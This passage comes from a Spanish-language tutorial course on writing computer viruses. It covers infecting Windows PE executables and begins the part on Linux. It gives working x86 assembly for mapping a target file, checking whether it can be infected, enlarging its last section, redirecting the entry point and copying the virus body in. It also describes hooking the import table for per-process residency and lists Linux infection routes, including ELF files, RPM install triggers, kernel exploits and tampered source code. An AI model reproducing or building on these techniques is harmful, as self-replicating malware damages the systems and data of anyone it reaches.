Si lo es, dejamos de infectar porque hubo algún problema al abrir el fichero (nunca está de
más la comprobación de errores).
La siguiente función que vamos a tener que usar para nuestro cometido es la de
CreateFileMapping, cuya estructura es como sigue:
HANDLE CreateFileMapping(
);
Ya vemos que uno de los parámetros, HANDLE hFile, es el handler que nos pasaron antes en
EAX; como dije vamos a necesitarlo bastante para seguir tratando con el fichero. Tenemos de
nuevo atributos de seguridad y protección, el nombre del objeto mapeado (se puede poner
como 0), y otro campo importante que es el del tamaño de fichero; ¿por qué importante?
Pues bien, porque esto va a determinar el tamaño del fichero cuando lo cerremos. Si
determinamos un tamaño del objeto de 20k y era un fichero de 11k, se van a mapear 20k en
memoria (los últimos 9 sin información coherente), y se va a salvar cuando cerremos. Como os
podéis imaginar no hay nada como poner como tamaño del objeto justo el del fichero mas el
de nuestro virus ;-)
En el pequeño listado puede verse lo que hacemos; EDI tiene el tamaño del fichero, al que se
le añade el del virus (el tamaño del virus está calculado con EQUs y tal); ponemos ceros para
lpName, SizeHigh y OptSecAttr, y para la protección del fichero mapeado permiso de
lectura/escritura (PAGE_READWRITE).
Y en fin, nos acercamos al momento decisivo ;-). Sólo nos falta utilizar la tercera función, ya
que hemos abierto el fichero, lo hemos de nuevo abierto mediante mapeado en memoria, y
ahora haremos el mapeado efectivo... para ello, la función MapViewOfFile; y pasamos
diréctamente a dar su especificación:
LPVOID MapViewOfFile(
);
Bueno esta ya tiene menos parámetros, ¿no? xD. El Handle que hay que enviarle es el que nos
dio CreateFileMapping, el DesiredAccess es FILE_MAP_ALL_ACCESS, dwFileOffsetHigh y Low
los pondremos a cero (es una indicación a mano que podemos hacer de que haga el mapeado
en memoria en el lugar donde nos dé a nosotros la gana lo cual tampoco es necesario), y eso
sí, en NumberOfBytesToMap meteremos el valor de EDI que habíamos puesto antes, es decir,
el tamaño del fichero con nuestro virus.
push edi push 0 push 0 push FILE_MAP_ALL_ACCESS push eax ; handle call dword ptr
[API_MapView+ebp]
Así que con esto ya está, tenemos ahora en EAX algo muy muy importante, que es la base
address a partir de la cual acceder al fichero mapeado; es decir, que si el fichero se cargó en
la dirección 0700000h, EAX va a contener justo esa cifra, el principio del fichero... con lo que
ya vamos a tenerlo dispuesto para poder abrir e infectar a nuestro gusto.
Por último, advertir que esto que hemos abierto luego hay que cerrarlo. Para ello hay dos
funciones, UnmapViewOfFile y CloseHandler. Sólo hay que pasarles un parámetro, que es la
base donde se ha cargado el fichero en memoria (el EAX de antes, conservadlo), y en caso de
CloseHandler, el handler que nos pasaron al abrir el fichero. El código para hacerlo es obvio
porque sólo hay que empujar un valor y llamar a la API, aun así copio la especificación de las
funciones:
BOOL UnmapViewOfFile(
);BOOL CloseHandle(
HANDLE hObject
);
Pues así de sencillo... por cierto, hay un detalle que quizá os está escamando; al empujar
valores a la pila utilizo valores como FILE_MAP_ALL_ACCESS, que si GENERIC_READ, que si tal;
sin embargo, si ponéis eso así, a pelo, el Tasm os va a dar errores de compilación diciéndoos
que qué son esas palabras que habéis metido ahí y que no significan nada. Lo que necesitáis
son ficheros de definición. Por ejemplo, el 0C0000000h en CreateFile lo metí a pelo; en
realidad nosotros evidentemente no estamos empujando a la pila ninguna palabra que diga
GENERIC_READ o lo que sea, sino que empujamos un número. Por suerte, se puede conseguir
la conversión de esas palabras a números en muchos includes de ayuda por ahí desperdigados,
puesto que cosas como escribir "GENERIC_READ" lo que pretenden es hacernos la vida más
fáciles a los programadores en lugar de tener que recordar qué bits indican qué cosa en cada
uno de los tipos de parámetros a API que puedas invocar.
En fin, así, qué remedio, tendréis que buscar algún include decente; al fin y al cabo esto es
necesario pues en las referencias a funciones que encontréis en ayudas como el Win32.hlp no
vais a ver el valor hexadecimal o de máscara de bits de lo que tenéis que empujar a la pila
para hacer determinadas cosas con funciones, sino tan sólo estos nombres que han de ser
traducidos. Tarde o temprano, pues, tendréis que usar algún //"fichero include" //de
referencia para programar (hay por ejemplo una de Jacky Qwerty llamada Win32api.inc que
salió en 29A#2 por ejemplo, y probablemente tendréis definiciones en compiladores como
Visual Basic, etc etc etc)
Ya no puedo dejarlo para más adelante, hay que echarle un vistazo bien a fondo al formato
de los ejecutables de Windows, conocido como PE (Portable Ejecutable), ya que se trata de
algo necesario si queremos infectarlos, ¿verdad?. Conseguimos averiguar la dirección de
GetProcAddress en la export table aun sin explicar mucho como esta organizado un PE, pero
esto ya se hace necesario a la hora de una infección seria. Sólo comentar, que para una
información más amplia y detallada del formato PE nada como buscar el capítulo de Matt
Pietrek de su libro "Windows 95 Programming Secrets", llamado "The Portable Executable and
COFF OBJ Formats". Sé que hay alguna copia en la red así que es de esas cosas que es
interesante que busquéis. En cualquier caso, intentaré documentar al menos lo necesario
para poder infectar un fichero de Windows.
Lo primero, es decir que el fichero ejecutable en disco es bastante parecido al aspecto que
tendrá en memoria; un fichero PE está dividido en piezas por así decirlo, con cierta
información sobre cómo colocar esas piezas en memoria en su estructura en disco. En la
cabecera PE se indicará la dirección en la que preferiría ser ubicado en memoria, así como,
para cada sección, la dirección relativa (RVA) en la que deberían colocarse sus secciones
respecto a esta dirección base. Las referencias a datos y demás, dependientes de la ubicación
en memorias, serán recalculadas dinámicamente al cargar el fichero en memoria.
Optional Header
Tabla de secciones
Secciones
- Cabecera 'MZ'
Esta va a servir fundamentalmente para dos cosas; por un lado nos va a mostrar un mensaje
de "no, esto no es Windows" cuando se intente ejecutar el fichero desde alguna versión
antigua de Ms-Dos. Por otro, tendrá un interesante puntero en el desplazamiento 03ch hacia
la cabecera PE. Por supuesto, además tiene la gran ventaja de que aunque para un programa
en memoria no sirva para nada se carga en ella para ocupar más espacio, otro gran ejemplo
de optimización en su casa gracias a Microsoft(tm).
- File Header
Esta ya es la cabecera PE en sí. Sus 4 primeros bytes van a ser las letras PE y dos bytes a cero.
El resto de los campos son los siguientes:
04h WORD Machine Tipo de máquina para la que se compiló; Intel I386 corresponde a 014Ch
programa
08h DWORD TimeDateStamp Fecha y hora en la que el fichero fue producido en otro extraño
formato xD
0Ch DWORD PointerToSymbolTable Sólo utilizado en ficheros OBJ y los ejecutables con
opciones de debugging 10h DWORD NumberOfSymbols Relacionado con el anterior
- Optional Header
La cabecera opcional también la vamos a tener muy en cuenta; la forma de acceder a ella es
simple, ya que está justo después de la File Header. Exáctamente está en la posición 18h
respecto a la cabecera PE; de hecho y a efectos de que vamos a utilizarla tanto como la File
Header, consideraré como si el desplazamiento fuera //respecto a la File Header// en la
siguiente tabla (en la que eso sí voy a omitir las partes que no me resultan importantes,
puesto que se extiende hasta un desplazamiento 78h desde este 18h sin contar el array
variable de Image_Data_Directory que lo alarga de forma variable)
- Tabla de secciones
La tabla de secciones es un array de varias estructuras (un array de la misma longitud que el
número de secciones). Así, va a haber una estructura fija para describir a cada sección, que
se repetirá tantas veces como secciones haya (y de forma secuencial en el fichero).
Para acceder a esta tabla, lo que haremos será coger el principio de la cabecera PE, sumarle
18h (tamaño de la File Header), buscar el esta File Header el tamaño de la OptionalHeader y
sumárselo también. Así, tendremos la dirección en la que comienza la tabla de secciones para
poder leer.
De toda esta información haremos caso a los cuatro primeros datos y al último; si nuestra
intención al infectar es meternos dentro de una sección (el método más standard, aunque se
puede crear otra), tendremos que modificar el VirtualSize, calcular el nuevo SizeOfRawData y
modificarlo, cambiar las Characteristics para poder hacerlo Writeable y Executable en caso de
que no lo fueran, y acceder a la sección a través de la VirtualAddress. El alignment va a ser el
genérico del fichero e indicado en la Optional Header (por defecto, 200h, el tamaño de un
sector en disco).
- Secciones
Ya nada es tan sencillo como dividir las cosas en "código, datos y pila". Precedidas por un ".",
que Microsoft indica como imprescindible pero que no lo es en la práctica, cada sección de un
fichero PE va a cumplir una función determinada, y he aquí el significado de algunas de las
secciones más comunes:
.text -> Este es el nombre habitual de la sección de código. Normalmente con flags de
ejecución y permiso de lectura, pero no de escritura.
.idata -> Tabla de importaciones; se trata de una estructura que contiene las APIs importadas
por el fichero PE así como las librerías de las cuales las importa.
.edata -> Tabla de exportaciones, más propia de ficheros DLL (librerías dinámicas API), con
las APIs que el ejecutable exporta.
.bss -> Sección de datos sin inicializar; no ocupa espacio en el disco duro, pues hace
referencia a espacio de memoria que ha de reservarse para datos que de por sí no vienen
inicializados al comenzar el ejecutable, pero que sí van a ser utilizados por este.
.data -> Datos inicializados, aquellos que tienen valor cuando comienza la ejecución del
programa y que por tanto ocupan espacio en disco.
Lo primero que se suele hacer, tras abrir y mapear el fichero EXE, es comprobar si es
adecuado para la infección; obtenido el inicio de la cabecera PE, lo básico que hay que ver es
lo siguiente:
mov bx,word ptr ds:[eax+03ch] ; Suponiendo EAX = base address add edx,ebx ; Cabecera PE
mov bx,word ptr ds:[edx] ; Cogemos la cadena "PE" en BX cmp bx,'PE' jnz cerramos ; Si no lo
es, cerramos or word ptr ds:[0014h+edx],0 ; ¿Existe la optional header? jz cerramos ; Si el
valor es cero, adios mov ax,word ptr ds:[016h+edx] ; ¿El fichero es ejecutable? and ax,0002h
jz unmap_close
Hecho esto, y dado que queremos meternos en la última sección, el siguiente paso será
localizar esta última sección. Ojo, que aunque en la mayoría de los ficheros la última sección
físicamente en el fichero es también el último registro en la tabla de secciones, esto no es
necesariamente así. Para comprobar cuál es efectivamente la última, cogeremos la tabla de
secciones e iteraremos buscando cuál es la que tiene una RVA mayor; así, estaremos
muchísimo más seguros. Por tanto, sigamos con código:
mov esi,edx ; EDX en PE/0/0, obtenemos offset de la tabla de secciones add esi,18h mov
bx,word ptr ds:[edx+14h] add esi,ebx movzx ecx,word ptr ds:[edx+06h] ; numero de secciones
; La cuestión es seguir recorriendo la tabla, comparando lo siguiente: cmp dword ptr
[edi+14h],eax jz Not_Biggest
La sección que tenga ese campo en [sección+14h] más alto, será la que infectemos al ser la
última. Entonces, ¿qué debemos hacer ahora para continuar la infección?. En primer lugar
aumentaremos la VirtualSize de la sección según el tamaño de nuestro virus para dejarle
espacio (pues nuestro objetivo es infectar aumentando el tamaño de la última sección y
metiéndonos dentro). El problema, reside en que no sólo hemos de tener en cuenta la
VirtualSize, sino también otro dato llamado SizeOfRawData, que ha de ser divisible por el
"alignment"
mov eax,virus_size xadd dword ptr ds:[esi+8h],eax ; la VirtualSize push eax ; VirtualSize
antigua add eax,virus_size ; Eax vale la nueva VirtualSize mov ecx, dword ptr ds:[edx+03ch]
xor edx,edx div ecx ; dividimos para ver el numero de bloques xor edx,edx inc eax mul ecx ;
multiplicamos por el tamaño de bloque mov ecx,eax mov dword ptr ds:[esi+10h],ecx ;
SizeOfRawData
Hecho esto, el siguiente paso va a ser cambiar el entry point del programa (el punto donde
comienza a ejecutarse) de modo que apunte hacia nosotros. La idea, es que el virus se
ejecute primero y, sin ser advertido, pase el control al programa principal. Así pues
guardaremos el antiguo entry point (que está en el desplazamiento 28h respecto a la file
header) y calcularemos el nuevo haciendo que apunte al final de la sección que vamos a
infectar; es decir, el punto en el que vamos a copiar el virus completo.
pop ebx ; VirtualSize - virus_size (lo habiamos empujado en "VirtualSize antigua") add
ebx,dword ptr ds:[esi+0ch] ; + la RVA de la sección mov eax,dword ptr ds:[edx+028h] ;
Guardamos el viejo entry point mov dword ptr ds:[edx+028h],ebx ; Ponemos el nuevo
Lo siguiente que hay que tocar es el campo "characteristics" de la tabla. En él, nos interesa
hacer que la sección pueda leerse, escribirse y ejecutarse para que nuestro virus tenga total
libertad. Este campo es tipo "máscara de bits", 32 bits cada uno de los cuales tiene un
determinado significado. Tres de ellos los vamos a poner a uno para tener estos permisos, con
una orden como "or [edx+024h] , 0C0000000h". Los valores que puede tomar la sección
Characteristics son los siguientes (que se combinan entre sí en una máscara de bits):
Flag Descripción
¿Qué nos queda por hacer? Pues muy poco por suerte, tan sólo copiar nuestro virus en el
hueco que hemos hecho al ampliar el tamaño de la última sección. Teniendo en EDI la base
del fichero mapeado (para añadirle las RVAs):
add edi,dword ptr ds:[esi+14h] ;14h = PointerToRawData, inicio de la seccion add edi,dword
ptr ds:[esi+8h] ;8h = VirtualSize, añadimos el tamaño de la seccion sub edi,virus_size ;Le
restamos el tamaño del virus lea esi,[ebp+virus_start] ;ESI en el principio de nuestro virus
mov ecx,virus_size ;ECX = Tamaño del virus rep movsb ;Copiamos todo el virus
Y no hace falta nada más para poder decir que hemos infectado un ejecutable de Windows.
Haciendo una breve recapitulación de los pasos a dar podemos ver que, aunque puede sonar a
que son muchas cosas, en realidad no se trata de algo tan complejo. Para infectar, pues,
debemos:
//-Aumentar su tamaño en N, tal que N = Tamaño del virus -Recalcular tamaño de la sección
alineada y del fichero alineado //
Residencia Per-Process
Residencia per-process
Hasta ahora hemos tenido la limitación consistente en que al infectar lo único que hacíamos
era repasar el directorio actual con FindFirst/FindNext copiándonos a los ficheros ejecutables
que encontráramos. Esto puede dejar al virus aislado e impedir una verdadera reproducción;
una solución sería por ejemplo tras dar este repaso copiarnos a todos los ficheros del
directorio Windows (existe una API que nos soluciona bastante trabajo llamada
GetWindowsDirectory, que combinada con SetCurrentDirectory nos permitiría lanzarnos al
núcleo).
No obstante, bajo Win32 se pueden utilizar técnicas que rompan esta limitación de zonas de
infección; hablo de la residencia, aunque en este caso una residencia limitada dado que se
reduce al proceso actual.
Quienes trabajaran con virus en Ms-Dos recordarán la forma en que hacíamos que un
programa fuera residente en memoria; toqueteando los MCBs (Memory Control Blocks) nos
hacíamos con un espacio en memoria e interceptábamos llamadas a funciones normalmente
de la Int21h como "AbrirFichero", etc. Entonces, cuando se abría un fichero, el virus lo
infectaba caso de ser infectable.
Pues bien, aquí existe una técnica muy parecida, que dado que se reduce al proceso en el que
estamos trabajando, se conoce como "residencia per-process". Los ejecutables de Windows se
dedican a importar funciones de distintas librerías, entre otras de la más importante,
Kernel32.DLL. Dentro del código del ejecutable, se llama a estas funciones. Pero, ¿y si
pudiéramos meternos en medio de estas llamadas, capturarlas y actuar en consecuencia?.
Pues ahí reside el interés de esta técnica.
El fichero importa una serie de APIs, nosotros buscamos la que nos interesa (por ejemplo,
//FindFirst/FindNext//) y la parcheamos. En la tabla de importaciones del fichero que está
ejecutándose vamos a tener información acerca de las APIs importadas y las direcciones a las
que se va a llamar cuando se utilicen estas APIs. Por tanto, lo que haremos será cambiar estas
direcciones que nos interesan para que apunten a nuestro código. Luego, haremos
normalmente la llamada a la API, pero al mismo tiempo procuraremos infectar aquello con lo
que el fichero está jugando. ¡No hay más que imaginar el gran aliado que puede ser un
antivirus que recorra todo el disco duro si le parcheamos las funciones de FindFirst/FindNext!
No daré código explícito para este tipo de técnica, pues es algo que resulta interesante que
cada uno desarrolle utilizando los conocimientos que pueda adquirir sobre Windows; llevar a
cabo estas rutinas, donde tendremos que tener en cuenta las importaciones y nuestro propio
virus, asegura - creo yo - entender bastante más a fondo la forma que tiene Windows de
manejar sus procesos.
Sólo aclararé, eso sí, el formato de la tabla de importaciones (aunque como dije, nada como
los textos de Matt Pietrek). Primero, que la RVA a esta tabla puede encontrarse en el
PEFileHeader + 080h por defecto (recordad que este tipo de residencia se hace respecto al
fichero en el que el virus se está ejecutando, con lo que si el virus está ejecutándose en
040A013h quizá el principio del programa esté en 0400000h).
0Ch DWORD //Nombre //RVA a una cadena ASCII con el nombre de la DLL
¿Y qué hago yo con esto? Tranquilidad, aún no está todo explicado... el array de HintNames y
el de Image_Thunk_Data son dos tablas que van a hacer referencia a una lista de nombres de
función, sólo que por lados diferentes. Pero el array del HintName no está necesariamente
presente en los ficheros PE, con lo que el campo que nos va a importar es el que apunta a
FirstThunk en ImageThunkData. El tamaño de cada entrada en esta lista es de un DWORD, y
cuando estamos hablando de un fichero cargado en memoria (porque se esté ejecutando,
ojo), cada entrada en ese array es la dirección de una API de la DLL correspondiente.
¿Qué debemos hacer entonces? Miramos adonde apunta ese desplazamiento 10h, y recorremos
el ImageThunkData viendo las RVAs a las que apunta. ¿Cómo identificar desde aquí las APIs
utilizadas? Siempre podemos obtenerlas con GetProcAddress y después mirar si coinciden las
entradas en ImageThunkData (aunque como verá quien se lance a hacerlo, esto no es
exáctamente así...). ¿Cómo parchear las funciones? Bien, la tabla de importaciones suele
tener permiso de escritura activado, con lo que no hay más que hacer que apunte a nuestro
código...
Un último apunte; esta es una de esas técnicas que, bien hecha, funcionan para cualquier
versión de Windows... con lo que si queremos mantener la compatibilidad, es de las mejores
opciones que tenemos. Con este objetivo, existen también algunas otras, desde jugar con el
registro o infectar el fichero Kernel32.DLL a crear VxDs (por así decirlo DLLs que funcionan a
nivel supervisor), en fin, un mundo por descubrir...
Y... vaya, con esto llega a su final la séptima entrega del curso de programación de virus; de
aquí a la octava, infección bajo Linux.
Disclaimer y demás
No se iba a librar el sistema operativo Linux de que le metamos nuestras zarpas, ¿verdad? Es
curioso, porque mucha gente tiene esa opinión de "¡Ja! ¡Linux jamás puede ser infectado, no
te esfuerces!", frase tras la cual vuelven a sentirse seguros en sus Linux sin preocuparse
siquiera por averiguar si esto es cierto. Lamentablemente este es el tipo de actitud que le
lleva a uno a confiarse y no ver los agujeros de seguridad que pueden traer problemas. Nunca
hay que decir "jamás", siempre alguien encontrará una manera; y la actitud correcta consiste
en localizar esos agujeros y taparlos para construir un sistema operativo más robusto y fiable,
o algún día el usuario de Linux se encontrará con una infección a la que no sabrá hacer
frente. Tapar agujeros de seguridad es algo que no podemos hacer con Windows, pues solo
ellos pueden repasar todos los boquetes que tiene; y no lo va a hacer porque se lo digamos.
Sin embargo Linux es un sistema operativo que todos pueden ayudar a construir, con lo que
programar virus que utilicen posibles huecos de seguridad puede convertirse en una tarea
loable al advertir de problemas que puedan existir en este sistema.
Tampoco nos engañemos; por suerte no es sencilla una infección masiva en Linux, puesto que
los sistemas de privilegios en acceso a ficheros y demás unido a la costumbre de compilar uno
mismo el código, evitan de forma razonablemente buena esta posibilidad. Los usuarios de
Linux no se envían ejecutables attacheados en emails cuyo texto diga cosas como "enanito si,
pero con unos coj...", email ante el cual picaron unos cuantos usuarios de Windows cuando
salió el Hybris de Vecna. Pero precisamente creo que el hecho de esta dificultad es lo que
llama la atención en Linux e impulsa a uno a intentar atacarlo, ¿cómo programar virus para un
sistema operativo supuestamente tan seguro e inexpugnable? Pues bien, más o menos es
acerca de lo que vamos a hablar en esta entrega del curso de programación de virus.
No me puedo hacer responsable de lo que hagáis con esta información, pero por lo menos os
doy un poquito la chapa ;-), aunque, como digo, dudo que alguien a quien realmente le
interesa el tema y está haciendo un esfuerzo importante para aprender e investigar, le quede
tiempo para la estupidez de soltar el virus... el placer, está en programarlos.
Introducción a Linux
Lo primero que vamos a tener en cuenta es que Linux es sin duda un sistema operativo mucho
mejor protegido que Windows. Vamos a estar limitados a los permisos del usuario que ejecute
el fichero infectado, y tendremos que actuar en consecuencia. Una de las formas de plantear
virus para Linux será la de conseguir estos privilegios de root, con lo que podremos hacer lo
que nos venga en gana. No es tan fácil, de todos modos, y podemos citar las siguientes
estrategias:
-Solución: Uso de exploits. Consistiría en buscar alguna falla del sistema para poder hacerse
superusuario y poder infectar sin problemas. El defecto de esta solución es evidente; Linux se
revisa constantemente, y los nuevos kernels o versiones del programa afectado llevarían ese
fallo parcheado, con lo que el virus perdería su efectividad. Se trata, más bien, de una
solución para sistemas Windows ;)
-Solución: Windows/VMWare. Dado que Linux está tan protegido, se puede uno aprovechar del
hecho de que la mayor parte de la gente que tiene Linux instalado utiliza también Windows
(aunque le cueste admitirlo xD). La cuestión es que un infector multiplataforma para
Windows y Linux podría leer diréctamente la tabla de particiones del disco o discos duros,
localizar la partición Linux y a través de Windows, momento en que el sistema de ficheros de
Linux no está protegido, infectar leyendo las propias tablas de i-nodes los ficheros ELF, de
cabeza a por el //sbin/init//. Con este método, aunque es un tanto difícil y pesado de llevar
a cabo (manejar a mano los ficheros con nuestras propias funciones puede ser un tanto
tedioso), tenemos la inmensa ventaja de que infectando algún proceso importante podríamos
posteriormente meternos donde nos de la gana, y que se podrían realizar ataques a través de
aplicaciones tan populares como VmWare (que puede ser fácilmente detectado dado que para
su funcionamiento utiliza un ring que no es ni 0 ni 3 en la máquina virtual, lo cual se puede
detectar en la terminación de los descriptores de segmento).
- Solución: Infección de RPMs. Una de esas cosas sensibles y con escasa seguridad para un
ataque de virus son los ficheros de Redhat Packet Manager o RPM; cada vez es más usual
distribuir programas en este formato. Pero este formato tiene unas características muy
particulares, que unidas al hecho de que suele ejecutarse como root su instalación, lo
muestran como otra forma de acceder a Linux a través de virus informáticos.
Atacar al SO Linux
En este punto encontramos pocas salidas; siempre puede encontrarse un exploit en el kernel
de Linux que nos dé privilegios de ring0 en el procesador con lo que podamos hacer lo que
queremos, pero ese exploit sabemos que será corregido, con lo que el virus perderá en poco
tiempo su funcionalidad. El sistema de protección de memoria bajo Linux está muy bien
desarrollado, y no hay forma en circunstancias normales de salir del modo usuario de
ejecución (ring3) para hacer en superusuario lo que nos venga en gana. En Windows sí se
hace, pero también es cierto que nadie corrige bugs en Windows...
Bajo Linux, tenemos una división de memoria que sitúa 3/4 partes de las direcciones virtuales
de memoria (00000000h a C0000000h) para procesos de usuario, y 1/4 para el kernel
(0C0000000h a 0FFFFFFFFh) El anillo de ejecución del procesador (hay dos, el ring0 o
superusuario y ring3 o usuario) se ve fácilmente en el descriptor de segmento al que se
refiere la parte a la que se intenta acceder. Sus dos últimos bits indican el RPL o modo de
ejecución, estando los dos activados para ring3 y ninguno para ring0. Bajo Linux precisamente
se inicializan cuatro segmentos básicos, para código y datos en kernel y procesos de usuario;
010h y 018h son código y datos del kernel respectivamente, y 23h y 2bh para código y datos
de procesos de usuario.
La pregunta entonces, dado que no podemos acceder a la zona reservada a kernel más allá de
la dirección de memoria C0000000h, es, ¿cómo entonces podemos acceder a funciones de
manejo de disco, etc, si normalmente estamos en ring3?. Para eso se implementan las
interrupciones, y en particular la básica de la API de Linux, la int 080h (también hay otro
sistema equivalente para compatibilidad con otros Unix como Solaris que utiliza Lcalls,
aunque no tenemos nada que hacer aquí)
Al llamar a la int 080h, el procesador consulta una tabla de vectores de interrupción, saltando
a la dirección indicada para esta interrupción y pasando automáticamente a ring 0. Por lo
tanto podemos hacer esta llamada, pero no podemos modificar ni la indicación del lugar al
que salta, ni aquello que hay dónde salta; así pues lo que nos proporcionará la int 080h es la
API básica del sistema operativo, que puede ir desde la modificación de ficheros al manejo de
sockets. De hecho, todo el tiempo cuando programemos virus, utilizaremos esta función 080h
para utilizar la API de Linux.
Como conclusión entonces, la que ofrecí antes; que la única forma de atacar esto es buscar
algún exploit, lo cual no es un trabajo sencillo y que tiene el gran inconveniente de que va a
servir de poco cuando se saque un parche.
La forma de llamar a la API del sistema y en particular la que vamos a utilizar, va a ser muy
parecida a lo que hacíamos en Ms-Dos. Vamos a poner en AL el valor de la función a la que
queremos llamar, y en el resto de registros (ordenados como eax-ebx-ecx-edx-etc) diversos
parámetros de nuestra llamada a función. Veamos una mini-lista de funciones que se pueden
utilizar con la int80h (ojo, hay muuuuuchas más, esto es solo orientativo; se pueden
encontrar listas completas en linuxassembly.org):
mov eax,05h lea ebx,[diractual+ebp] xor ecx,ecx xor edx,edx int 080h diractual: db '.',0
Vale, ¿qué significa esto? Pues nada más y nada menos que una llamada a "Open", que
realizamos sobre el directorio actual (el '.' en diractual). En Linux la forma de hacer el
FindFirst/FindNext que hacíamos en Windows es bastante diferente a como lo hacíamos en
Windows; tendremos que abrir el directorio para luego ir leyendo sus contenidos con la API
ReadDir. Curiosamente esta es de las partes más difíciles cuando uno se pone desde a cero
para escribir un virus en Linux, pues veremos que aunque Linux esté muy documentado, en
algunos casos la documentación no es correcta (y que nadie se asuste si digo que más de una
vez al hacer cosas no habrá más remedio que leerse los fuentes del kernel para ver cómo se
hace).
El caso es que lo siguiente que tenemos que hacer es llamar a la órden ReadDir, que nos va a
leer una entrada de ese directorio que acabamos de abrir. Una forma de hacerlo es lo
siguiente:
mov eax, 059h ; readdir lea ecx, [buffer + ebp] int 080h or ax,ax jz fallo
struct dirent {
long d_ino;
off_t d_off;
Tal y como hicimos en Windows, en Linux vamos a aprovechar el hecho de que se nos permite
mapear ficheros en memoria. Es decir, que en lugar de utilizar un puntero para leer y escribir
sobre él, podemos proyectarlo sobre una zona de memoria y escribir sobre ella como si lo
hiciéramos en el fichero. Después, al cerrarlo, los cambios que hayamos realizado se
guardarán.
mov eax, 5 lea ebx, [buffer + 0Ah + ebp] mov ecx, 2 xor edx, edx int 080h
Parte de esto es muy comprensible; sí, 05h es una función que ya conocemos, la de apertura
del fichero. Ebx sin duda está apuntando al nombre del fichero, necesario para abrirlo,
mientras que ecx tiene como valor un "2". ¿Qué significa esto? Bien, significa que queremos
acceder en lectura/escritura. No hará falta comprobar si tenemos acceso al fichero, si no
tenemos permiso la llamada fallará y buscaremos otro. El parámetro EDX en esta llamada
hace referencia a un "modo" en caso de que el fichero no exista y lo estemos creando, pero
sin duda este no es el caso.
La cosa es que esto nos ha devuelto un "handler" referente al fichero, y nos lo ha devuelto en
EAX. Con este descriptor vamos a seguir actuando, y el caso es que lo siguiente que
querremos hacer será aumentar el tamaño del fichero para que se adapte a nuestros deseos;
si lo vamos a mapear en memoria, querremos poder acceder a él complétamente.
Lo siguiente que hagamos al abrir un fichero entonces, será averiguar cual va a ser su
longitud, y para esto tenemos una llamada a la función Lseek, la cual tiene como número de
función el 13h. Teniendo tras el anterior código el handler o descriptor en eax, hacemos lo
siguiente:
mov ebx, eax mov eax, 013h mov ecx, 0h mov edx, 2h int 080h
Bien, ya tenemos el fichero abierto y sabemos su tamaño, ¿qué es lo siguiente? Pues a no ser
que seais masocas y querais jugar con punteros, lo mejor es mapear el fichero en memoria. Y
para ello vamos a tener que llamar a la syscall mmap, encargada de ello. Si vemos una
descripción, es la siguiente:
void *start (dword, preferred memory address or, NULL) size_t length(dword, file size) int
prot (dword, PROT_READ/WRITE/EXEC) int flags (dword, MAP_SHARED/PRIVATE/FIXED) int fd
(dword, Linux file descriptor) off_t offset
Y lo que diremos aquí será... otiaaaaaaaa que de parámetros, ¿no? ¿Y eso me cabe en los
registros? Pues no... pero es que en Linux hay dos formas de llamar a la API del sistema a
través de la int80h, dependiendo de la cantidad de parámetros que haya que meterle (suena
algo burro pero es así). El caso es que cuando suceda como en este caso, Linux va a suponer
que en EBX ponemos un puntero a todos esos parámetros, y los va a sacar de ahí. Lo más
sencillo como podéis suponer, es meter esos parámetros en la pila y luego hacer un mov
ebx,esp antes de llamar a la función, de manera que no tenemos que gastar espacio en
nuestro programa ni nada por el estilo (lo cierto es que utilizar la pila para guardar datos es
una maravillosa costumbre que optimiza mucho xD, por algo es lo que siempre se usa para las
variables locales en funciones, pero eso es otra historia).
//Veamos un ejemplo práctico de cómo hacerlo: //
push 0 push ebx ; el handler o file descriptor push 1 ; privado push 3 push eax ; lo que nos
devolvió la llamada a la int anterior push 0 ; NULL para que nos indique la dirección donde lo
mapea mov ebx, esp mov eax, 0x5a int 080h cmp eax,0xFFFFF000 ; La comprobación de error
que hace mmap.c jbe Continuar
Con esto, deberíamos de haber abierto el fichero mapeado en memoria, y en EAX tendríamos
la dirección base a partir de la cual ha sido mapeado. La comprobación de error que hago
(cmp eax, 0xFFFFFF000h / jbe Continar) es así en el código de mmap.c (la syscall está mal
documentada y da problemas a veces al comprobar si existe algún fallo si se sigue el
procedimiento "standard").
Vistas estas cosas acerca de la API que vamos a tener que utilizar para infectar (por suerte no
vamos a tener que hacer cosas tan terribles como hacíamos en Windows para tener que sacar
las direcciones de la API al basarse en llamadas a la int80h), ya podemos empezar a hablar de
ejecutables ELF en Linux.
Ficheros en Linux
En Linux básicamente tenemos los siguientes objetivos posibles (aunque como siempre, el
límite a lo que podemos infectar lo pone nuestra imaginación):
-El formato a.out (casi no utilizado ya) es extremadamente vulnerable, puesto que su
cabecera sólo indica el punto de comienzo de la ejecución y los tamaños y situación de las
secciones. Infectar un fichero a.out es casi tan sencillo como con un COM de Ms-Dos, no
consistiría más que en aumentar el tamaño de la sección de código, escribir el virus en ese
tamaño que se ha aumentado y cambiar el puntero de comienzo de ejecución para que
apunte al virus.
-Los ficheros RPM, el standard RedHat que algunas distribuciones importantes (RedHat, SuSe)
usan para instalar paquetes, también son un bocado delicioso: en resumen no son más que
archivos que contienen una serie de archivos comprimidos con gzip, sólo que con algo por lo
que en dos y windows muchos escritores habrian dado un brazo. Esto son los "triggers", que
son eventos que suceden cuando uno instala a ciegas su paquete rpm; y estos "triggers"
consisten en shell scripts, con lo que suponiendo que un paquete infectado así se instale
como root, para qué decir más...
-Otro punto interesante en Linux es, por supuesto, infectar código fuente; el C permite
ensamblador in-line con lo que los sources de linux se convierten en un objetivo delicioso y
difícil de descubrir, aunque tiene un alto riesgo de ser descubierto por cualquiera con ciertos
conocimientos de C, al menos para saber que "eso no debería estar ahí".
-Finalmente, está el formato ELF; este es el formato ejecutable standard bajo Linux, y será
nuestro objetivo principal; por ello, entramos más en detalle sobre él.
Linux asigna permisos a las páginas de memoria del programa (la memoria está dividida en
páginas de 4Kb que tiene asignados permisos de lectura, escritura y ejecución), dividiendo en
varios segmentos el fichero; en un modelo sencillo podríamos decir que encontramos código
datos y pila (y por ejemplo, el código tendrá permisos de lectura y ejecución, mientras que el
código los tendrá de escritura y lectura, pero no de ejecución). Un modelo sería este:
Código
Datos inicializados
(espacio libre)
Pila
Entorno del programa (argumentos pasados, variables de entorno y nombre del fichero
ejecutable)
Determinado esto, se sitúan en estos segmentos las secciones individuales; por ejemplo,
la .text representa normalmente la de código, .data los datos inicializados, .bss datos sin
inicializar, .stack la pila, además de otros que a veces son complétamente inútiles (como
la .comment o la .notes). Curiosamente, también las secciones tendrán permisos individuales
aunque pertenezcan a un segmento cuyos permisos ya han sido dados, pero Linux no hace ni
